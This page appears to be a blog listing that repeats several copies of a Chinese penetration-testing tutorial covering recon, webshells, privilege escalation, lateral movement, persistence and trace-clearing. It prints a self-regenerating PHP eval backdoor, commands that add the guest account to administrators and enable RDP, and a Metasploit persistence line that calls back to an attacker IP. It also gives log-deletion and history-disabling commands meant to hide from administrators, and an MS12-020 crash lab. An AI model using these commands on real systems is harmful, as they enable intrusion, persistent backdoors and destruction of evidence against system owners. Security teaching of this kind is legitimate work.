-
一次完整的渗透测试流程
2018-12-01 19:13:56渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵...目录
如果想跟我一起讨论,那快加入我的知识星球吧!
渗透测试
渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!
渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法
渗透测试分为 白盒测试 和 黑盒测试
- 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
- 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透
我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。
接下来,我就给大家分享下黑盒渗透测试的流程和思路!
当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?
信息收集
第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——> 渗透测试之信息收集
漏洞探测
当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:
- SQL注入 , 传送门——>SQL注入详解
- XSS跨站脚本 ,传送门——>XSS(跨站脚本)漏洞详解
- CSRF跨站请求伪造 , 传送门——>CSRF跨站请求伪造攻击
- XXE漏洞,传送门——>XXE(XML外部实体注入)漏洞
- SSRF服务端请求伪造漏洞,传送门——>SSRF(服务端请求伪造)漏洞
- 文件包含漏洞 , 传送门——>文件包含漏洞
- 文件上传漏洞 , 传送门——>文件上传漏洞
- 文件解析漏洞,传送门——>文件解析漏洞
- 远程代码执行漏洞 , 传送门——> 远程代码执行漏洞
- CORS跨域资源共享漏洞,传送门——>CORS跨域资源共享漏洞
- 越权访问漏洞,传送门——>越权访问漏洞
- 目录浏览漏洞和任意文件读取/下载漏洞,传送门——>目录浏览漏洞和任意文件读取/下载漏洞
- struts2漏洞,传送门——>Struts2漏洞
- JAVA反序列化漏洞,传送门——>JAVA反序列化漏洞
这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。
网站漏洞扫描工具也有很多,比如:
- AWVS ,传送门——> AWVS扫描器的用法
- AppScan ,传送门——> AppScan扫描器的用法
- Owasp-Zap ,传送门——> OWASP-ZAP扫描器的使用
- Nessus ,传送门——> Nessus扫描器的使用
网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!
漏洞利用
当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:
SQL注入 , 传送门——> Sqlmap的使用
XSS跨站脚本,传送门——> Beef-XSS的使用
抓包改包工具,——> Burpsuite工具的使用 、 Fidder抓包软件的使用
文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马
但是,获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用 、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权
内网转发
当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。
如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。
内网横向渗透
当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。
对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活 guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。
- FTP相关的软件
- 数据库相关的软件
- 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码
从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。
net user guest /active:yes #激活guest用户 net localgroup administrators guest /add #将guest用户添加到 net user guest 密码 #更改guest用户密码 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口
对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。
在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。
关于内网渗透(域环境和非域环境):内网渗透
内网的横向渗透MSF比较好用:
内网渗透的ICMP和DNS隧道搭建:
相关文章:内网渗透测试之域渗透详解!
权限维持
在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。
Web后门
1:隐藏后门文件(将文件设置为隐藏)
2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。
<?php set_time_limit(0);//程序执行时间 ignore_user_abort(1);//关掉终端后脚本仍然运行 unlink(__FILE__);//文件完整名 while(1){ file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3"); $b=array_keys($a)[0]; eval($b);?>'); sleep(5); } ?>
3: 404页面隐藏后门,或者在其他自带文件中插入后门代码
注:以上几种后门方法均能被D盾等工具检测到
Windows系统
1:建立隐藏用户,在用户名后加 $
2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控
3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现
#反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀 run persistence -X -i 5 -p 8888 -r 192.168.10.27 #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。
5:shift后门
6:远程桌面会话劫持
Linux系统
1:SSH后门
2:crontab定时任务
3:SSH公钥
4:创建SUID=0的用户
痕迹清除
当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!
我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。
最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。
Windows系统
1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹
2:如果3389远程登录过,需要清除mstsc痕迹
3:执行命令清除日志:
del %WINDR%\* .log /a/s/q/f
4:如果是web应用,找到web日志文件,删除
相关文章:WINDOWS之入侵痕迹清理总结
Linux系统
1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令
export HISTFILE=/dev/null export HISTSIZE=0
2:删除 /var/log 目录下的日志文件
3:如果是web应用,找到web日志文件,删除
撰写渗透测试保告
在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!
我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!
未完待续。。。。。。
相关文章:红蓝对抗经验小结
-
一次完整的渗透测试
2020-04-27 14:30:41本文转载,如有冒犯,联系本人...渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对...本文转载,如有冒犯,联系本人立即删除
目录
渗透测试
渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!
渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法
渗透测试分为 白盒测试 和 黑盒测试
- 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
- 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透
我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。
接下来,我就给大家分享下黑盒渗透测试的流程和思路!
当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?
信息收集
第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——> 渗透测试之信息收集
漏洞探测
当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:
- SQL注入 , 传送门——>SQL注入详解
- XSS跨站脚本 ,传送门——>XSS(跨站脚本)漏洞详解
- CSRF跨站请求伪造 , 传送门——>CSRF跨站请求伪造攻击
- XXE漏洞,传送门——>XXE(XML外部实体注入)漏洞
- SSRF服务端请求伪造漏洞,传送门——>SSRF(服务端请求伪造)漏洞
- 文件包含漏洞 , 传送门——>文件包含漏洞
- 文件上传漏洞 , 传送门——>文件上传漏洞
- 文件解析漏洞,传送门——>文件解析漏洞
- 远程代码执行漏洞 , 传送门——> 远程代码执行漏洞
- CORS跨域资源共享漏洞,传送门——>CORS跨域资源共享漏洞
- 越权访问漏洞,传送门——>越权访问漏洞
- 目录浏览漏洞和任意文件读取/下载漏洞,传送门——>目录浏览漏洞和任意文件读取/下载漏洞
- struts2漏洞,传送门——>Struts2漏洞
- JAVA反序列化漏洞,传送门——>JAVA反序列化漏洞
这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。
网站漏洞扫描工具也有很多,比如:
- AWVS ,传送门——> AWVS扫描器的用法
- AppScan ,传送门——> AppScan扫描器的用法
- Owasp-Zap ,传送门——> OWASP-ZAP扫描器的使用
- Nessus ,传送门——> Nessus扫描器的使用
网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!
漏洞利用
当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:
SQL注入 , 传送门——> Sqlmap的使用
XSS跨站脚本,传送门——> Beef-XSS的使用
抓包改包工具,——> Burpsuite工具的使用 、 Fidder抓包软件的使用
文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马
但是,获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用 、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权
内网转发
当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。
如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。
内网横向渗透
当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。
对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活 guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。
- FTP相关的软件
- 数据库相关的软件
- 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码
从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。
- net user guest /active:yes #激活guest用户
- net localgroup administrators guest /add #将guest用户添加到
- net user guest 密码 #更改guest用户密码
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口
对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。
在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。
关于内网渗透(域环境和非域环境):内网渗透
内网的横向渗透MSF比较好用:
内网渗透的ICMP和DNS隧道搭建:
相关文章:内网渗透测试之域渗透详解!
权限维持
在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。
Web后门
1:隐藏后门文件(将文件设置为隐藏)
2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。
- <?php
- set_time_limit(0);//程序执行时间
- ignore_user_abort(1);//关掉终端后脚本仍然运行
- unlink(__FILE__);//文件完整名
- while(1){
- file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
- $b=array_keys($a)[0];
- eval($b);?>');
- sleep(5);
- }
- ?>
3: 404页面隐藏后门,或者在其他自带文件中插入后门代码
注:以上几种后门方法均能被D盾等工具检测到
Windows系统
1:建立隐藏用户,在用户名后加 $
2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控
3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现
- #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
- run persistence -X -i 5 -p 8888 -r 192.168.10.27
- #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。
5:shift后门
6:远程桌面会话劫持
Linux系统
1:SSH后门
2:crontab定时任务
3:SSH公钥
4:创建SUID=0的用户
痕迹清除
当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!
我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。
最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。
Windows系统
1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹
2:如果3389远程登录过,需要清除mstsc痕迹
3:执行命令清除日志:
del %WINDR%\* .log /a/s/q/f
4:如果是web应用,找到web日志文件,删除
相关文章:WINDOWS之入侵痕迹清理总结
Linux系统
1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令
export HISTFILE=/dev/null export HISTSIZE=0
2:删除 /var/log 目录下的日志文件
3:如果是web应用,找到web日志文件,删除
撰写渗透测试保告
在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!
我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!
未完待续。。。。。。
相关文章:红蓝对抗经验小结
-
渗透测试入门17之一次完整的渗透测试流程
2019-04-04 16:08:44一次完整的渗透测试流程 目录 渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对一个网站进行一步一步的渗透,...一次完整的渗透测试流程
目录
渗透测试
渗透测试就是利用我们所掌握的渗透知识,对一个网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!
渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法
渗透测试分为 白盒测试 和 黑盒测试
- 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
- 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透
我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。
接下来,我就给大家分享下黑盒渗透测试的流程和思路!
当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?
信息收集
第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——> 渗透测试之信息收集
漏洞探测
当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:
- SQL注入 , 传送门——>SQL注入详解
- XSS跨站脚本 ,传送门——>XSS(跨站脚本)漏洞详解
- CSRF跨站请求伪造 , 传送门——>CSRF跨站请求伪造攻击
- XXE漏洞,传送门——>XXE(XML外部实体注入)漏洞
- SSRF服务端请求伪造漏洞,传送门——>SSRF(服务端请求伪造)漏洞
- 文件包含漏洞 , 传送门——>文件包含漏洞
- 文件上传漏洞 , 传送门——>文件上传漏洞
- 文件解析漏洞,传送门——>文件解析漏洞
- 远程代码执行漏洞 , 传送门——> 远程代码执行漏洞
- CORS跨域资源共享漏洞,传送门——>CORS跨域资源共享漏洞
- 越权访问漏洞,传送门——>越权访问漏洞
- 目录浏览漏洞和任意文件读取/下载漏洞,传送门——>目录浏览漏洞和任意文件读取/下载漏洞
- struts2漏洞,传送门——>Struts2漏洞
- JAVA反序列化漏洞,传送门——>JAVA反序列化漏洞
这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。
网站漏洞扫描工具也有很多,比如:
- AWVS ,传送门——> AWVS扫描器的用法
- AppScan ,传送门——> AppScan扫描器的用法
- Owasp-Zap ,传送门——> OWASP-ZAP扫描器的使用
- Nessus ,传送门——> Nessus扫描器的使用
网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!
漏洞利用
当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:
SQL注入 , 传送门——> Sqlmap的使用
XSS跨站脚本,传送门——> Beef-XSS的使用
抓包改包工具,——> Burpsuite工具的使用 、 Fidder抓包软件的使用
文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马
但是,获得了webshell后,一般权限很低,所以我们需要提权, Windows提权 、 Linux下用SUID提权
内网转发
当我们获取到了网站的Webshell之后,如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。那么,我们怎么借助网站的服务器和内网通信呢,传送门——> 内网转发
内网渗透
当我们能跟内网主机进行通信后,我们就要开始进行内网渗透了。可以先使用nmap对内网主机进行扫描,探测在线的主机,并且探测其使用的操作系统、开放的端口等信息,传送门——> Nmap和Zenmap详解
内网用户基本都是使用的windows系统,而且大多数是使用的windows7,在windows7中有很多漏洞,比如MS17_010这种漏洞,我们可以探测其windows系统是否存在这种漏洞,如果有这种漏洞,直接拿shell。传送门——> Metasploit Framework(MSF)的使用
企业内网大多数是一个域环境。所以,我们只需要找到域控服务器,并拿下其权限,就可以登录其他所有用户的主机了。
当然,内网中也有可能存在供内网使用的内网服务器,我们可以进一步渗透拿下其权限。
至于怎么拿下内网中机器的权限,这要看内网环境了。我这里只是说下大概的一个思路。
痕迹清除
当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!
我这里只是教大家在渗透进去之后如何清除我们留下的痕迹,以免被网站管理员发现,
撰写渗透测试保告
在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!
我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!
-
一次完整的渗透测试实验
2018-05-10 23:46:05渗透测试的一般思路 侦查 信息收集 漏洞扫描 漏洞利用 提升权限 保持连接 本次实验只用到信息收集,漏洞扫描及漏洞利用 攻击机:Kali2.0 64位(192.168.41.131) 目标机:Win7 64位(192.168.41.137) 本次...渗透测试的一般思路
- 侦查
- 信息收集
- 漏洞扫描
- 漏洞利用
- 提升权限
- 保持连接
本次实验只用到信息收集,漏洞扫描及漏洞利用
攻击机:Kali2.0 64位(192.168.41.131)
目标机:Win7 64位(192.168.41.137)
本次实验用到的知识
Nmap:
-A 详细扫描操作系统指纹识别和版本检测
-sS SYN扫描(半连接扫描)
-sT 全连接扫描
-sV 探测服务版本
-sN -p 21,22,80,1433,3360 192.168.1.3 -oX dk.html 扫描所列端口,并保存为dk.html
Nessus:
配置自定义扫描策略
Metasploit:
search 漏洞代码 查看漏洞代码的详细信息
use NameDescription 选择攻击方式
set RHOST dstip 设置目标主机ip
set LHOST srcip 设置本机ip
exploit 利用
步骤:
一、使用Nmap扫描
扫描时间太长,就直接上结果了,扫描出除Kali外的两台主机:192.168.41.137,192.168.43.112
二、Nessus扫描
2.1、配置扫描名称,描述及目标
2.2、开始扫描,查看扫描结果
2.3、选择一个主机作为攻击目标并查看目标主机漏洞
2.4、查看漏洞的详细信息
三、Metasploit利用漏洞
3.1、打开Metasploit,查看M12-020漏洞的两个描述信息:
normal MS12-020 Microsoft Remote Desktop Use-After-Free DoS(正常的MS12—020微软远程桌面免费使用后的DoS)
normal MS12-020 Microsoft Remote Desktop Checker(正常的MS12020微软远程桌面检查器)
3.2、我选用第一种,会导致目标机蓝屏,设置目标主机IP,攻击机IP,然后exploit利用
3.4、观察目标机,已经蓝屏
-
一次完整的渗透测试流程 转
2020-05-14 10:54:48渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵... -
计一次完整的渗透测试流程
2020-10-23 11:42:19渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵... -
记一次完整的渗透测试
2020-05-21 13:37:03目录前言掉坑起因(通达OA前台任意用户登录)掉坑过程一(上传webshell问题)掉坑过程二(cmdshell提权问题)如何改变文本的...本次渗透测试过程大概是这样的:通达OA前台任意用户登录-上传webshell-获取相关信息-提权c -
渗透测试的8个步骤 展现一次完整的渗透测试过程及思路
2020-06-20 18:59:46之前安全加介绍了金融行业 实战微信银行渗透测试,运行商 渗透测试,今天让我们来说说 渗透测试 的流程及渗透测试相关概念。 渗透测试流程 渗透测试与入侵的最大区别 渗透测试:出于保护系统的目的,更全面地找出... -
渗透测试入门11之一次完整的渗透测试实验
2019-04-04 10:11:45渗透测试的一般思路: 侦查,信息收集,漏洞扫描,漏洞利用,提升权限,保持连接 本次实验只用到信息收集,漏洞扫描及漏洞利用 攻击机:Kali2.0 64位(192.168.41.131) 目标机:Win7 64位(192.168.41.137) ... -
渗透测试入门25之一次完整的渗透测试实验
2019-04-20 15:49:21渗透测试的一般思路: 侦查,信息收集,漏洞扫描,漏洞利用,提升权限,保持连接 本次实验只用到信息收集,漏洞扫描及漏洞利用 攻击机:Kali2.0 64位(192.168.41.131) 目标机:Win7 64位(192.168.41.137) ... -
Web(1) - 一次完整的渗透测试流程
2019-03-12 00:21:19渗透测试就是利用我们所掌握的渗透知识,对一个网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的... -
一次完整的网络安全渗透测试
2009-03-08 13:51:44一次完整的网络安全渗透测试一次完整的网络安全渗透测试 -
一次完整的安全渗透测试
2016-10-26 15:44:00客户根据渗透人员提供的渗透测试报告对系统存在漏洞和问题的地方进行修复和修补,本次渗透测试算是针对aspx类型的网站系统的一个补充。下面是整个渗透过程和一些渗透思路,写出来跟大家一起探讨和分享,不到之处请... -
渗透测试之一次完整的网站渗透
2019-11-18 15:23:10内网搭建的一个服务器 nmap扫描服务器端口 nmap -sV -sC -sT -p- 192.168.20.157 可以看到22、80、8080端口都是开启的 可以针对他们的版本号网上搜集漏洞来利用 这里就只访问80端口的web页面 寻找... -
一次图文并茂的渗透完整测试
2017-11-13 21:49:00对某核心服务器进行入侵测试,据了解,该web服务器ip地址(10.1.1.178)存在敏感数据。 1、利用网站漏洞获取该服务器shell 2、新建一用户并将权限提升至管理员 3、获得服务器上的关键敏感数据(C:\console)内。 ... -
一次图文并茂的渗透完整测试二
